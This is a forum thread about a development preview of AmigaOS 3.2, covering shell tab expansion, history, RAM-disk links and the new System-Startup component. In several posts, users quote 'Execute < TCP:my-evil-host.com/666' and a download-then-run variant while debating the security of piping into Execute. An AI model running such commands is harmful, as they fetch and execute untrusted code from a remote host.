Amiga.org

Operating System Specific Discussions => Amiga OS => Amiga OS -- Development => Topic started by: Thomas Richter on August 28, 2019, 07:00:48 PM

Title: Os 3.2 development preview
Post by: Thomas Richter on August 28, 2019, 07:00:48 PM
Without many words, I'm attaching a screen snapshot of the current development state as installed on my system. There are a couple of individual modifications here (such as the shape of the mouse pointer, the VIF: volume or the AsyncRun utility, neither of which are part of the Os), but pretty much else is native.

Maybe you'd like to find out which new features are shown here. Have fun with our little "late summer puzzle".
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on August 28, 2019, 07:03:22 PM
Well, no scrollbars on the Shell, but at least it's not topaz/8 anymore. ;D
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 28, 2019, 07:12:44 PM
Well, no scrollbars on the Shell, but at least it's not topaz/8 anymore. ;D
And here goes the first point. GadTools became font-sensitive, and the new preference editors and all other system tools use it. Thus, the layout scales with the fonts. Whether we will also get reaction prefs, or only that, is yet to see.
Title: Re: Os 3.2 development preview
Post by: Orphan264 on August 28, 2019, 07:16:17 PM
netprt.device?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 28, 2019, 07:18:49 PM
netprt.device?
Oh, just a dummy, not part of the Os. But yes, you can now specify in the printer preferences the name of the output device, not only serial or parallel device. The second point.
Title: Re: Os 3.2 development preview
Post by: Orphan264 on August 28, 2019, 07:22:23 PM
Woo Hoo! I got a point! Where do I turn in my 'point' for prizes? :)
Title: Re: Os 3.2 development preview
Post by: Dr_Procton on August 28, 2019, 08:14:02 PM
Cool! When is 3.2 supposed to be released?
Title: Re: Os 3.2 development preview
Post by: Gulliver on August 28, 2019, 08:19:11 PM
Cool! When is 3.2 supposed to be released?

We have no date for it.

It is currently in development, and development depends on our free time which varies a lot on an individual basis. So it is really hard to estimate.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on August 28, 2019, 08:25:38 PM
Hm, if the pic shows the real preferences, than it looks like one can add own 'variables/numbers' to the WB screen title, as the 'update' suggests...  ???
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 28, 2019, 08:41:53 PM
Hm, if the pic shows the real preferences, than it looks like one can add own 'variables/numbers' to the WB screen title, as the 'update' suggests...  ???
There goes another point. Yes, Marcus updated the workbench and provided a nice enhancement of the workbench prefs that allow you to customize the workbench title.
Title: Re: Os 3.2 development preview
Post by: paul1981 on August 28, 2019, 08:54:49 PM
Well, no scrollbars on the Shell, but at least it's not topaz/8 anymore. ;D

This has always been changable from the font prefs as 'System Default' font. Looks like topaz 11 is being used here.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on August 28, 2019, 08:56:09 PM
No backsies, i got my point! :P
Title: Re: Os 3.2 development preview
Post by: paul1981 on August 28, 2019, 09:13:25 PM
Window Iconify.
Title: Re: Os 3.2 development preview
Post by: Orphan264 on August 28, 2019, 09:17:53 PM
Window Iconify.

Ahhh.. Now I see the gadget! Interesting...
Title: Re: Os 3.2 development preview
Post by: Orphan264 on August 28, 2019, 10:11:24 PM
What is "History"?
Title: Re: Os 3.2 development preview
Post by: kolla on August 28, 2019, 10:20:30 PM
What is "History"?

Just printout of command history... will there be shortcuts for searching in command history (ala bash ctrl+r - not that I use bash, zsh in vi mode here)?

One can hope path history will also come, akin to
http://aminet.net/package/util/cli/HistoryCD
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 02:26:43 AM
Window Iconify.
Bing! Another one. There is a new system icon programs can request. It iconifies windows. Most system tools use it, including the console and the preferences.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 02:27:34 AM
What is "History"?
*Bing* A new shell command. Lists the command history. The history is kept by the shell, not the console.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 02:34:14 AM
Just printout of command history... will there be shortcuts for searching in command history (ala bash ctrl+r - not that I use bash, zsh in vi mode here)?
Yes, certainly, the old CON: keys keep working, ^r searches the history upwards, and we have Shift+cursor keys for searching as well. So the functionality did not change - it just moved to the shell. Along with another new feature that is also handled by the shell. Can you spot it?
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 29, 2019, 04:34:50 AM
Is the default Rexx: assign now SYS:Rexx instead of S:? I’ve been doing that manually on my systems for years! :)

The standard iconify gadget and Printer prefs output device are great additions. Personally, I’d prefer that ReAction not become part of the OS, or at least not as a replacement for GadTools as with the standard system utilities in 3.5+.

I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?

Suggestion: can we get these Commodore BOOPSI classes (http://aminet.net/package/dev/gui/GI1_led_ic) to become part of the official OS distribution?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 06:54:21 AM
I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?
Yup. The 3.1 prefs and GUIs in general were never font sensitive. Hardcoded topaz.8.
Title: Re: Os 3.2 development preview
Post by: kolla on August 29, 2019, 11:46:04 AM
Can you spot it?
It may look like tab completion is there, <tab tab> output commands starting with A?
Title: Re: Os 3.2 development preview
Post by: paul1981 on August 29, 2019, 12:31:15 PM
Hm, if the pic shows the real preferences, than it looks like one can add own 'variables/numbers' to the WB screen title, as the 'update' suggests...  ???
There goes another point. Yes, Marcus updated the workbench and provided a nice enhancement of the workbench prefs that allow you to customize the workbench title.

Will this allow the use of environment variables in the Workbench title? That would be a nice touch if implemented. Also a customisable clock with date and position settings would be nice. Could make it localised too to format the time/date to locale settings as in Thomas Igracki's ScreenClock on aminet. A simple alarm would also be needed, in which case I suggest a double click in the clock portion of the titlebar to open the alarm settings.
Title: Re: Os 3.2 development preview
Post by: kolla on August 29, 2019, 12:52:09 PM
Yes, certainly, the old CON: keys keep working, ^r searches the history upwards...
You are perhaps confusing "old CON:" with your own VNC: - "old CON:" (con-handler 40.2) certainly does nothing usefull with ^r other than "bell"
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 01:02:24 PM
Can you spot it?
It may look like tab completion is there, <tab tab> output commands starting with A?
That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 01:03:49 PM
Will this allow the use of environment variables in the Workbench title?
That's how I understand it, yes. No, I don't think it has a clock. But there is of course SYS:Utilities/Clock, which also supports an alarm.
Title: Re: Os 3.2 development preview
Post by: kolla on August 29, 2019, 01:31:31 PM
Will this allow the use of environment variables in the Workbench title? That would be a nice touch if implemented.
Indeed. I'm using a copperlisting on the Minimig screen title bar to give it a light gradient green hue when it is online, and red when it is offline, but it leaks RAM and an indictor in titlebar would be "cleaner" (though a heck less awesome).
Quote
I suggest a double click in the clock portion of the titlebar to open the alarm settings.
I have zero use for alarm clock, and would prefer a calendar... today I just use http://aminet.net/package/util/time/BarClock22

There is lots of "simple stuff" that would be great to have official solution to:
* screen menu, window menu when left-clicking screen/window depth gadgets
* several more commands could benefit from LFORMAT - C:Date, C:Info, C:Assign
* C:List should have more love, in particular I miss a way of listing a given drawer without listing its content - akin to *ix "ls -ld"
* there should be a C:Dismount or similar that handles both volume: and device: (OS4 has this, iirc)
* C:Date is messed up locale wise, as it requires "localized" input, so it is tricky to script... what commands use local shell variable $language anyways, if not even C:Date does??
* C:Date should be able to set system time from the timestamp of a reference file
* C:SetDate should also be able to use a reference file when "touching" other files
* System time should care about Locale timezone setting, allowing RTC to run at UTC (yes, I am fully aware of SetDST and other third party tools)
* It should be settled once and for all where system time is taken from when booting from system without RTC -  and this "somewhere" should be easily editable with a system tool, without needing to format the file system - "SetDate DH0:"
* The entire Palette prefs would be better off replaced with something akin to FullPalette
* Workbench prefs should implement "Ghostbusters" and allow devices to be visible "only when validated"
* Official C:RequestString instead of the myriads of incompatible variants that exists today.

In the long run...
* An official public screen management tool akin to MUI PSI, which would also used by Workbench, and WBPattern should merge into this.
* System time should survive warm-boots - there exist a tool for this (http://aminet.net/package/util/time/TimeKeeper), which updates a timestamp to a memory segment that will survive warm-boots, and then set system time from this timestamp after boot. It would be better if a "timekeeper" was built in, maybe as a rom module, or some other boot resident measure.
* Another tool with functionality that would be better off built in - http://aminet.net/package/util/boot/bootctrl - also installs itself resident and lets you "configure" early-startup from CLI, as if you had entered it, selected boot device, disabled devices etc)
* Fonts are either "Workbench Icon Text", "System Default Text" or "Screen Text" - the latter two are less obvious, and there should be more "fine grained" settings possible - I suggest "Icon Text" (wb incons, docks etc), "Console Text" (fixed width, CON:, RAW: etc), "Screen Title Text", "Window Title Text" and "Program Text" (Prefs programs, requesters, whatever that today is using "Screen Text" aside from Screen Titles and Window Titles).
* Rethink the system prefs - make it easy to adjust settings through other means than through the SYS:Prefs/ GUI programs, export/import prefs as text, maybe arexx interface to IPrefs...
Title: Re: Os 3.2 development preview
Post by: kolla on August 29, 2019, 01:36:32 PM
That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.

About time - probably the most sought after feature for Amiga Shell ever.
Title: Re: Os 3.2 development preview
Post by: kolla on August 29, 2019, 03:06:52 PM
A few comments regarding the screenshot...
* Soft-link from RAM:Env to ENVARC: - how clever is that? Will it not just result in all "Use" acting as "Save"? And how is that different from "Assign ENV: ENVARC:"? (I prefer env-handler myself)
* All those ">NIL:" on Assign are rather redundant, and hide error messages on "broken systems" - a successful Assign is quiet.
* Is L:System-Startup a text file with paths to all the modules you wish to load?
* Is AssignWedge now "official"? If so, why not make it redundant?
* netprt.device - interesting... official? If so, what other "IPv4 aware" components are there in the OS?
* I never grasped why some commands are referred to with full path, and some not, in Startup-Sequence... "C:Mount", but just "BindDrivers"
* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.
* " | Execute", while handy (and so trendy, in these times of "cloud computing" and "curl | sh") , may also open a can of worms. It will now be possible to do funny things like "Execute < TCP:my-evil-host.com/666" (maybe even without redirection?) if TCP: is mounted.... exciting!
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 29, 2019, 03:15:25 PM
I am curious about font sensitivity, however. I know it was reported that the 3.1.4 tools were not font-sensitive, but I thought the versions from 3.1 were. Was I wrong?
Yup. The 3.1 prefs and GUIs in general were never font sensitive. Hardcoded topaz.8.
Yeah, just went back and confirmed on a 3.1 system. Funny, I could have sworn there was an OS release from C= that was font-sensitive. Must have been mixing it up with a later version. At any rate, thanks for finally making this happen!
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 29, 2019, 03:32:58 PM
Will this allow the use of environment variables in the Workbench title?
That's how I understand it, yes. No, I don't think it has a clock. But there is of course SYS:Utilities/Clock, which also supports an alarm.
It looks like the titlebar variable feature is backported from OS4. If I recall, one of the optional variables is the system time, so a clock should be possible, although I don't have my OS4 machine in front of me to check. Personally, I use DOpus4 in window-iconified mode to provide a clock on my systems.

This does tie into a related discussion about how to add more complex functionality to the titlebar. Perhaps a new API is in order, similar to MorphOS's screenbar modules, although maybe that's a discussion for Release 3.3 or later.
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 29, 2019, 04:18:41 PM
All sorts of fun speculating in this thread!

I'm curious about the new GUIDES: assign. My first thought was that it was a new system-wide AmigaGuide-based help feature, but then wondered why that wouldn't have just been part of HELP:. Would like to know more :)

And based on the backdrop it looks like image tiling has returned to WBPattern prefs.

Another feature request: an official prefs editor for the WB Tools menu whose settings can be read by workbench.library/LoadWB directly (so that an additional tool in WBStartup isn't necessary).
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 29, 2019, 04:18:55 PM
* Soft-link from RAM:Env to ENVARC: - how clever is that? Will it not just result in all "Use" acting as "Save"? And how is that different from "Assign ENV: ENVARC:"? (I prefer env-handler myself)
That is *NOT* a soft link. Note that there is no "SOFT" argument. Actually, it is a new feature you have found. It is an "external link", a new type of link category the RAM-disk supports. Essentially, it means the following: As soon as a program accesses ENV:x (or some sub-directory), the RAM-disk dynamically resolves the "external link" by pulling in the file from the link target. If you want to say so, this is "copy on access". It does not require a specialized handler for that, RAM: can do it itself.

* All those ">NIL:" on Assign are rather redundant, and hide error messages on "broken systems" - a successful Assign is quiet.
That is pretty much copied over from my installation, and we haven't changed these lines. Indeed, the >NIL: is not quite right here.

* Is L:System-Startup a text file with paths to all the modules you wish to load?
Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

* Is AssignWedge now "official"? If so, why not make it redundant?
It is a new optional system component. dos.library provides a "hook entry" that is populated by this component. So, this is no longer a patch all over the dos.library, it is just a single slot that is called whenever dos cannot find a handler. This is by Chris Euler who kindfully provided this new component.


* netprt.device - interesting... official? If so, what other "IPv4 aware" components are there in the OS?
Nope, that's just a dummy, there is no net support per se. Just that you can select where the printer.device should print to.


* I never grasped why some commands are referred to with full path, and some not, in Startup-Sequence... "C:Mount", but just "BindDrivers"
I don't know either. This is copy/paste from the original startup.

* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.
That is how it is also done in 3.1. Everything you put there is executed during startup. Except that we don't need a temporary file for it anymore.


* " | Execute", while handy (and so trendy, in these times of "cloud computing" and "curl | sh") , may also open a can of worms. It will now be possible to do funny things like "Execute < TCP:my-evil-host.com/666" (maybe even without redirection?) if TCP: is mounted.... exciting!0.2) certainly does nothing usefull with ^r other than "bell"
Well, if you want a secure system, AmigaOs is probably not exactly your Os in first place. And whether you type "Execute < TCP:my-evil-host.com/666" or "Execute TCP:my-evil-host.com/666" does not make a difference security-wise. However, it saves the shell from creating some temporary in T: and then execute this. It can directly go through the pipe.

BTW, the pipe handler mount entry is already created by System-Startup (same as port-handler), so there is no need to mount it to be able to use it in the startup-sequence.
Title: Re: Os 3.2 development preview
Post by: wiser3 on August 29, 2019, 06:34:39 PM
Suggestion: can we get these Commodore BOOPSI classes (http://aminet.net/package/dev/gui/GI1_led_ic) to become part of the official OS distribution?

Yes, more BOOPSI please. Greatly preferred over ReAction.

* Is L:System-Startup a text file with paths to all the modules you wish to load?
Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

Awesome! Eventually, once you're essentially replacing everything i'd prefer a new ROM. Hmmm.... would this feature also mean we're no longer limited to available addressing space of the ROM's?

So far, most of what i see is geared towards hard core shell users, which the average person is not.

More BOOPSI would help developers.

Most of todays users need:
Networking to exchange files with the internet and their PCs. (a big project)
Built in lha and zip support to handle file archives once transfered.
Easy GUI methods to launch favorite applications/games/demos.
...hmmm, gotta be more but i'm sleep deprived at the moment.
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 29, 2019, 07:43:20 PM
Suggestion: can we get these Commodore BOOPSI classes (http://aminet.net/package/dev/gui/GI1_led_ic) to become part of the official OS distribution?

Yes, more BOOPSI please. Greatly preferred over ReAction.
On that same line, Commodore also had two (http://aminet.net/package/util/dtype/ams) packages (http://aminet.net/package/util/dtype/picdt_42_1) of v42 datatypes that never made it into the OS. Granted, they're for formats now largely obsolete, but it would be nice to fold them back into the official source tree.

I'm looking at the uncompleted features originally planned for 3.1 (https://www.gregdonner.org/workbench/wb_31_planned.html) and wondering how many have not already been addressed in 3.1.4 that would still make sense to complete. There's label.image and a new cycle.gadget on the BOOPSI front that never made it out of Commodore HQ. The 1993 DevCon notes also detail planned directions for the UI, of which those BOOPSI classes were the beginning. Would it make sense to continue down that path?

Quote
Most of todays users need:
Networking to exchange files with the internet and their PCs. (a big project)
Possibly not as big as you think. I've been an advocate of Commodore's Envoy for years, which is an extremely lightweight and extremely Amiga-like way to do LAN filesharing. If the devs could acquire Envoy and extend it with a hypothetical smb.service, that would allow filesharing from PCs much more easily than the current challenge of setting up an obsolete/incompatible Samba server.
Quote
Built in lha and zip support to handle file archives once transfered.
3.5+ did this with Unarc and XAD, but I'm wondering if there's a more lightweight way to do this without reinventing the wheel.
Quote
Easy GUI methods to launch favorite applications/games/demos.
Other than the prefs editor for the WB Tools menu I mentioned in a previous post, I'm not sure this is necessary as an OS-level feature.



Even as we're daydreaming about features, it's important to remember the scope: this is an OS for relatively low-spec machines. What absolutely needs to be part of the OS, what might be relegated to some sort of official add-on, and what should just be a regular tool distributed via other means like Aminet? I trust Thomas and co. have that all in mind.
Title: Re: Os 3.2 development preview
Post by: Gulliver on August 29, 2019, 09:20:57 PM
Will this allow the use of environment variables in the Workbench title?
That's how I understand it, yes. No, I don't think it has a clock. But there is of course SYS:Utilities/Clock, which also supports an alarm.
It looks like the titlebar variable feature is backported from OS4. If I recall, one of the optional variables is the system time, so a clock should be possible, although I don't have my OS4 machine in front of me to check. Personally, I use DOpus4 in window-iconified mode to provide a clock on my systems.

This does tie into a related discussion about how to add more complex functionality to the titlebar. Perhaps a new API is in order, similar to MorphOS's screenbar modules, although maybe that's a discussion for Release 3.3 or later.

Yes, the Workbench's title bar text feature is backported from OS4, but have in mind that the variables are dependant on workbench.library. And in our case workbench.library is an evolution of the 3.9 one, not from OS4.

Either way, the implementation of features depends largely on the free time each developer has available. And since there is little manpower, it is difficult to cover all we would like to have.
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 29, 2019, 10:55:18 PM
Yes, the Workbench's title bar text feature is backported from OS4, but have in mind that the variables are dependant on workbench.library. And in our case workbench.library is an evolution of the 3.9 one, not from OS4.
Interesting, thanks for that clarification. Even if the variable isn't present in the library, this feature does at least offer the possibility of a workaround - if another program can spit out the time to ENV:currenttime couldn't you pull it from there?

Quote
Either way, the implementation of features depends largely on the free time each developer has available. And since there is little manpower, it is difficult to cover all we would like to have.
Oh yeah, very much aware of that, and very grateful for the time you guys are able to put in!
Title: Re: Os 3.2 development preview
Post by: Gulliver on August 30, 2019, 02:39:25 AM
Yes, the Workbench's title bar text feature is backported from OS4, but have in mind that the variables are dependant on workbench.library. And in our case workbench.library is an evolution of the 3.9 one, not from OS4.
Interesting, thanks for that clarification. Even if the variable isn't present in the library, this feature does at least offer the possibility of a workaround - if another program can spit out the time to ENV:currenttime couldn't you pull it from there?

Quote
Either way, the implementation of features depends largely on the free time each developer has available. And since there is little manpower, it is difficult to cover all we would like to have.
Oh yeah, very much aware of that, and very grateful for the time you guys are able to put in!

Current implementation of the title bar feature is extremely recent, so it is still under construction and all of its features cannot be fully tested at the moment.

But yes, enviroment variables are usable and you should be able to perform all kind of cool tricks with them, including the one you mention.
Title: Re: Os 3.2 development preview
Post by: Minuous on August 30, 2019, 05:01:58 AM
@Matt_H, wiser3:

>Suggestion: can we get these Commodore BOOPSI classes to become part of the official OS distribution?

With the exception of led.image, they all have ReAction equivalents which are considerably better.

>Yes, more BOOPSI please. Greatly preferred over ReAction.

ReAction is a set of standard BOOPSI classes, so that statement doesn't really make sense.

>There's label.image and a new cycle.gadget on the BOOPSI front that never made it out of Commodore HQ.

ReAction has label.image and chooser.gadget.

>The 1993 DevCon notes also detail planned directions for the UI, of which those BOOPSI classes were the beginning. Would it make sense to continue down that path?

Yes, it would. ReAction is that path.
Title: Re: Os 3.2 development preview
Post by: Ball000 on August 30, 2019, 08:36:33 AM
Can you spot it?
It may look like tab completion is there, <tab tab> output commands starting with A?
That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.

Can you please explain what are the differences between the two, and the pro/cons of shell or console doing it? I guess I read between those lines that it's better if the shell does it?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 30, 2019, 09:12:27 AM
Can you please explain what are the differences between the two, and the pro/cons of shell or console doing it? I guess I read between those lines that it's better if the shell does it?
The current model you see in ViNCed and other consoles is that "the console does it". In other words, the console assumes/hopes/is configured to know that a shell is running in its window, then peeks the shell structures (struct CommandLineInterface), all hoping that this doesn't change under its feed, then uses the information it has in its buffer, then parses the line it currently has, performs a search, and inserts the result back. So the shell is not involved.

In the second case, the shell configures the console that it likes to receive TAB expansion requests. If TAB is pressed, the Shell retrieves a CSI-sequence at its input stream that indicates the patterns the user wants to expand, performs the expansion, and inserts the input back into the console. So the shell uses its own structures, its own knowledge and its own data to perform this step.

The difference is that in the first model the console has to make a couple of assumptions: It needs to find out that it is really a shell running, it needs to assume a specific syntax for the input, and it has to use structures of the shell that are not really part of the console data structures. So this is not only questionable from an architecture point of view - it couples two independent system components - it also requires the console to guess how the shell syntax looks like. Unfortunately, the Amiga shell syntax is messy (asterisk-rules, double-quotes, variables... a pile of inconsistencies), so the console would have to re-implement all of this. Worse, TAB expansion would not work on any other shell whose syntax is different.

Here, instead, everything is now at the shell: The shell knows (of course) its own syntax and its own rules, how to scan the path, which data goes into the history and what not... and so on. So it is decouples the two components and makes them accessible for independent development.

If you look into other system, Linux for example, you find the same arrangement of how the work is split: The console reads the keycodes, the shell does the TAB expansion. The only difference is that the Linux console is switched into raw-mode, and all the line-editing functions you have under linux are implemented by the shell (where they don't belong either, editing is the job of the console).

With the current model in 3.2, line editing (or full screen editing, for ViNCEd) remains at the console, but TAB-expansion and history go to the shell. So the shell does what the shell knows best, and the console does whatever the console can do best.

3.2 also comes with a new (minimal) AUX-Handler, so TAB expansion also works over the serial line if you want to.  Almost automatically, as said, it's the shell doing this, not AUX:

Title: Re: Os 3.2 development preview
Post by: kolla on August 30, 2019, 10:50:08 AM
That is *NOT* a soft link. Note that there is no "SOFT" argument.
I did, but with RAM: and ENVARC: being on different devices, and a "FORCE" being used, one could only assume that this is a soft-link. And in a way it is.

Quote
Actually, it is a new feature you have found. It is an "external link", a new type of link category the RAM-disk supports. Essentially, it means the following: As soon as a program accesses ENV:x (or some sub-directory), the RAM-disk dynamically resolves the "external link" by pulling in the file from the link target. If you want to say so, this is "copy on access". It does not require a specialized handler for that, RAM: can do it itself.

Meh - so instead of using a dedicated handler that can do one thing and do it well, you have now lumped this into ram-handler that already have enough of things it doesn't do all too well... and couple it with another thing that never really worked so well with AmigaDOS - links. Bravo. What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do? Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too? It already struggles with regular soft links (as does C:Delete and others, you cannot delete a soft-link that points to a target that doesn't exist - for example) - Are you sure this is really a good idea?

Quote
Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

Obvious question that come up...
- will this work on plain 3.0/3.1 kickstarts? It wold be a major plus, IMO, if it does, so noone need to buy any new ROM, and can continue to use old ROMs when booting to floppy etc.
- will modules that have been loaded by System-startup survive reboots as if they were loaded with LoadModule, and hence be in place immediately next time one boot without startup-sequence?

Quote
* Is AssignWedge now "official"? If so, why not make it redundant?
It is a new optional system component. dos.library provides a "hook entry" that is populated by this component. So, this is no longer a patch all over the dos.library, it is just a single slot that is called whenever dos cannot find a handler. This is by Chris Euler who kindfully provided this new component.
Cool, so now anyone can write system clean "AssignWedge" clones using whatever GUI toolkit they like, or plug it to an event daemon that can have predefined actions and whatever...  nice.

Quote
Quote
* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.
That is how it is also done in 3.1. Everything you put there is executed during startup. Except that we don't need a temporary file for it anymore.
I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.

Quote
Well, if you want a secure system, AmigaOs is probably not exactly your Os in first place.

I am perfectly aware of this, I am much more likely to exploit this feature than to be a victim of it - just saying :)

Quote
And whether you type "Execute < TCP:my-evil-host.com/666" or "Execute TCP:my-evil-host.com/666" does not make a difference security-wise. However, it saves the shell from creating some temporary in T: and then execute this. It can directly go through the pipe.

Not only that - it saves a "hacker" from having to go through steps of downloading a file (type tcp:whatever/port to t:file) and then execute that file, now it can all be done in just one command. I am looking forward to see how this alters the attack angle for the Amiga Web Browsers (some of which allow executing of system programs from within HTML).

Does the new Execute wait for EOF, or does it execute commands after each EOL?
Title: Re: Os 3.2 development preview
Post by: Rotzloeffel on August 30, 2019, 12:52:27 PM
Yes, it would. ReAction is that path.

It is your choice! 3.2 will have both.....
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 30, 2019, 01:54:17 PM
I did, but with RAM: and ENVARC: being on different devices, and a "FORCE" being used, one could only assume that this is a soft-link. And in a way it is.
Not really. A softlink would overwrite the link target upon resolution of the link. This is not what it does. Actually, for the entire system except RAM: it looks like creating a hard link, and like a regular directory afterwards.

Meh - so instead of using a dedicated handler that can do one thing and do it well, you have now lumped this into ram-handler that already have enough of things it doesn't do all too well... and couple it with another thing that never really worked so well with AmigaDOS - links. Bravo.
The main motivation was to remove duplicate code. All HappyEnv variants had to replicate a lot of code, fell into the same pitfall RAM: once did (ACTION_EXNEXT implementation), had to re-implement a couple of exotic features such as notification and so on... This is now all in one code. Actually, as far as RAM: is concerned, it is only one small module that came to the RAM sources.

What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do?
The same it would do on all the HappyEnv variants. Examine() and ExNext() lists only what is there, but not what could be there. So you see the current contents of ENV: Copying to ENV: is as copying to any other directory of RAM: It is just that, RAM:, so you can also place files in there. You can also "overwrite" some potential link targets, i.e. what is already present will not be resolved.

Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too?
Copy doesn't know anything about this being a link. It looks like an ordinary directory from the outside. List doesn't know anything about this being a link. It is just a regular directory for everything outside of RAM:

It already struggles with regular soft links
No, it doesn't. It just creates a softlink to the original link target in the target directory of the copy operation.

(as does C:Delete and others, you cannot delete a soft-link that points to a target that doesn't exist - for example) - Are you sure this is really a good idea?
Yes, I'm really sure this is a good idea. I'm really sure that avoiding code duplications is a good idea, and minimal extensions are a good idea.
And I'm really sure you want to complain about. I don't mind, you know that.

Obvious question that come up...
- will this work on plain 3.0/3.1 kickstarts?
Why would it? No, of course not. This is a 3.2 system component.

- will modules that have been loaded by System-startup survive reboots as if they were loaded with LoadModule, and hence be in place immediately next time one boot without startup-sequence?
This is not a "make my modules resident" component. It is a "replace ROM components by RAM components". This has nothing, absolutely nothing to do with LoadModule. It just loads modules from disk into RAM, and replaces modules on the exec modules list. If you reboot, the modules are gone, and System-Startup loads them again. If you want to make things reset-resident, LoadModule will continue to work.

I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.
Then don't use it. I have DEVS:Monitors/Startup, and only load those in this directory. But this is not how the standard system was setup, so I left it as it always was.

I am perfectly aware of this, I am much more likely to exploit this feature than to be a victim of it - just saying :)
If someone from outside can execute commands such as EXECUTE on your system, then EXECUTE is your least problem. FORMAT is a problem. COPY is a problem. DELETE is a problem. Actually, the problem is the whole AmigaOs system.

Does the new Execute wait for EOF, or does it execute commands after each EOL?
Execute never executed anything to begin with, so this question does not apply if you take it literally. Execute is only an input-redirection of the shell. And no, the shell scripting rules did not change - what for?


Title: Re: Os 3.2 development preview
Post by: kolla on August 30, 2019, 02:04:26 PM
Yes, it would. ReAction is that path.

It is your choice! 3.2 will have both.....

What do you mean with this? Both what? Reaction and... GadTools? Or are you saying Reaction will be there, and that for any program using Reaction classes, there will be an equivalent that doesn't - and vice versa? If so, that sounds like maintenance overhead. On the other hand, if it means the GUI components of the OS programs are decoupled from their functionality, and that for every OS program there will be both a Reaction GUI and a plain GadTools GUI, and the possibility for anyone to write a GUI for it in MUI, BGUI, GTLayout or whatever, even a TUI and/or ARexx interface for interaction... then that would be very cool.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 30, 2019, 02:30:34 PM
What do you mean with this?
It means that at this time, all bets are open. It depends on how we progress, when things are done, on the man-power available and on the publication date. All we can say: Yes, there are font-sensitive gadtools implementations that work (you've seen the screen shots), and yes, there are reaction classes being worked on.
Title: Re: Os 3.2 development preview
Post by: kolla on August 30, 2019, 03:29:17 PM
for the entire system except RAM: it looks like creating a hard link, and like a regular directory afterwards.


So does it follow the assign (ie always point at ENVARC:) or does it resolve to whatever ENVARC: is assigned to at the time the link is created?
And if what it points at is a file, or a directory that later is replaced with a file? Will it still just look like a directory?

Quote
The main motivation was to remove duplicate code.

Of course - but surely there are better ways to share code between components?

Quote
What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do?
The same it would do on all the HappyEnv variants.
You cannot really do this on HappyEnv variants, as they create a dedicated device env:

Quote
Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too?
Copy doesn't know anything about this being a link. It looks like an ordinary directory from the outside. List doesn't know anything about this being a link. It is just a regular directory for everything outside of RAM:

So is there _any way_ at all to _see_ after the creation of the link, that is is not a regular directory made with Makedir?
If not - how do you know if it is a link or a directory?

Quote
It already struggles with regular soft links
No, it doesn't. It just creates a softlink to the original link target in the target directory of the copy operation
Not if the target that is pointed at doesn't exist, from what I recall, and same for Delete.

Code: [Select]
echo hah to sys:myfile
makelinke ram:test to sys:myfile force
